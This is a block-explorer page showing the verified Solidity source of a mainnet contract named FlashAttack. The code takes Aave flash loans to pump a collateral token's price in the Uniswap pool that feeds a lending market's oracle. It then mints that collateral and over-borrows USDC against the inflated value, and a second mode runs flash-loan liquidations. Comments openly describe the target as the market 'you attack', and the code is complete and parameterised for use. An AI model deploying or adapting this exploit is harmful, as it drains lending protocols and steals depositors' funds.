Skip to content
Verified contractExactMIT

FlashAttack

Address0xe99e90dfd4108ec6596dc950054e2996192b06fc
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.24

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,416,443
Creation transaction
0x383b6ba4cd…99684ba530

FXRP1.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/* ================= CONFIG — ETHEREUM MAINNET ================= */
address constant AAVE_POOL   = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
address constant USDC       = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant DEF_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2

/* ================= Minimal interfaces ================= */
interface IERC20 {
    function approve(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
}
interface IAavePool {
    function flashLoanSimple(address, address, uint256, bytes calldata, uint16) external;
}
interface ICErc20 {
    function mint(uint256) external returns (uint256);
    function borrow(uint256) external returns (uint256);
    function redeem(uint256) external returns (uint256);
    function liquidateBorrow(address, uint256, address) external returns (uint256);
    function balanceOf(address) external view returns (uint256);
    function getCash() external view returns (uint256);
}
interface IComptroller {
    function enterMarkets(address[] calldata) external returns (uint256[] memory);
}
interface IUniV2Router {
    function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint)
        external returns (uint256[] memory);
}

contract FlashAttack {
    address payable public immutable owner;
    address public immutable cBorrow;    // market you borrow USDC from (cUSDC/cUSDC.e)
    address public immutable cTarget;    // collateral market you attack (e.g. cFXRP)
    address public immutable collateral; // underlying ERC20 of cTarget (e.g. FXRP)
    address public immutable comptroller;
    address public immutable router;

    uint8   private mode = 0;           // 1 = pump, 2 = liquidation
    uint256 private pumpBps;            // % of flash USDC spent pumping (bps)
    uint256 private minProfit;          // minimum USDC profit demanded (gate)
    address private liqBorrower;
    uint256 private liqTarget;

    uint256 public lastProfit;           // USDC profit of last successful run

    event AttackDone(uint8 mode, uint256 profitUsdc);

    error NotOwner();
    error NotPool();
    error ForkCallFailed(uint256 code);
    error Shortfall(uint256 missingUsdc);

    constructor(address cBorrow_, address cTarget_, address collateral_,
                address comptroller_, address router_) {
        owner       = payable(msg.sender);
        cBorrow     = cBorrow_;
        cTarget     = cTarget_;
        collateral  = collateral_;
        comptroller = comptroller_;
        router      = router_;
    }

    modifier onlyOwner() { if (msg.sender != owner) revert NotOwner(); _; }

    /* ============ PLAY #1/#3 — oracle pump → over-borrow ============ */
    /// @param flashAmount  USDC to flash-borrow (6 decimals)
    /// @param pumpBps_     share used to buy & pump collateral, e.g. 8000 = 80%
    /// @param minProfitUsdc revert unless this much USDC profit remains
    function runPump(uint256 flashAmount, uint256 pumpBps_, uint256 minProfitUsdc)
        external onlyOwner {
        mode = 1; pumpBps = pumpBps_; minProfit = minProfitUsdc;
        // borrow headroom is capped by actual pool cash — fail fast, cheap:
        uint256 cash = ICErc20(cBorrow).getCash();
        if (flashAmount + flashAmount / 2000 + minProfitUsdc > cash) revert Shortfall(0);
        IAavePool(AAVE_POOL).flashLoanSimple(address(this), USDC, flashAmount, "", 0);
    }

    /* ============ PLAY #2 — liquidation sweep (confirmed-profit) ============ */
    /// @param borrower   underwater account (verify on Comptroller first!)
    /// @param repayAmount must be ≤ closeFactor(50%) × their debt AND ≤ cash
    function runLiquidation(address borrower, uint256 repayAmount, uint256 minProfitUsdc)
        external onlyOwner {
        mode = 2; liqBorrower = borrower; liqTarget = repayAmount; minProfit = minProfitUsdc;
        IAavePool(AAVE_POOL).flashLoanSimple(address(this), USDC, repayAmount, "", 0);
    }

    /* ============ Aave callback — strategy + repay-or-revert ============ */
    function executeOperation(address asset, uint256 amount, uint256 premium,
                              address initiator, bytes calldata) external returns (bool) {
        if (msg.sender != AAVE_POOL) revert NotPool();
        if (initiator != address(this)) revert NotPool();
        if (asset != USDC) revert NotPool();

        if (mode == 1)      _pump(amount, premium);
        else if (mode == 2) _liquidate(amount, premium);
        else revert NotPool();

        uint256 debt = amount + premium;
        uint256 bal  = IERC20(USDC).balanceOf(address(this));
        if (bal < debt + minProfit) revert Shortfall(debt + minProfit - bal);
        IERC20(USDC).approve(AAVE_POOL, debt);
        lastProfit = bal - debt;

        mode = 0; pumpBps = 0; minProfit = 0;
        emit AttackDone(2, lastProfit);
        return true;
    }

    /* ---------------- internals ---------------- */
    function _pump(uint256 amount, uint256 premium) internal {
        uint256 pumpAmt = (amount * pumpBps) / 10_000;

        // 1) buy collateral in the oracle's pool → drives the price up
        IERC20(USDC).approve(router, pumpAmt);
        address[] memory buy = new address[](2);
        buy[0] = USDC; buy[1] = collateral;
        IUniV2Router(router).swapExactTokensForTokens(
            pumpAmt, 1, buy, address(this), block.timestamp);

        // 2) mint the purchased collateral into the market
        uint256 colBal = IERC20(collateral).balanceOf(address(this));
        IERC20(collateral).approve(cTarget, colBal);
        uint256 err = ICErc20(cTarget).mint(colBal);
        if (err != 0) revert ForkCallFailed(err);

        // 3) use it as collateral
        address[] memory markets = new address[](1);
        markets[0] = cTarget;
        uint256[] memory entered = IComptroller(comptroller).enterMarkets(markets);
        if (entered[0] != 0) revert ForkCallFailed(entered[0]);

        // 4) borrow against the pumped valuation — fails if oracle didn't move
        uint256 borrowTarget = amount + premium + minProfit;
        err = ICErc20(cBorrow).borrow(borrowTarget);
        if (err != 0) revert ForkCallFailed(err);
    }

    function _liquidate(uint256 /*amount*/, uint256 premium) internal {
        uint256 debt = liqTarget + premium; // flash(liqTarget) + premium

        // 1) repay the underwater borrower's USDC debt, seize their cCollateral
        IERC20(USDC).approve(cBorrow, liqTarget);
        uint256 err = ICErc20(cBorrow).liquidateBorrow(liqBorrower, liqTarget, cTarget);
        if (err != 0) revert ForkCallFailed(err);

        // 2) redeem seized cTokens to the underlying token
        uint256 seized = ICErc20(cTarget).balanceOf(address(this));
        err = ICErc20(cTarget).redeem(seized);
        if (err != 0) revert ForkCallFailed(err);

        // 3) sell into USDC — minOut is the PROFIT GATE
        uint256 colBal = IERC20(collateral).balanceOf(address(this));
        IERC20(collateral).approve(router, colBal);
        address[] memory sell = new address[](2);
        sell[0] = collateral; sell[1] = USDC;
        IUniV2Router(router).swapExactTokensForTokens(
            colBal, debt + minProfit, sell, address(this), block.timestamp);
    }

    /* ---------------- owner utilities ---------------- */
    function withdrawToken(address token, uint256 amount) external onlyOwner {
        if (amount == 0) amount = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(owner, amount);
    }
    function withdrawETH() external onlyOwner {
        owner.transfer(address(this).balance);
    }
    receive() external payable {}
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.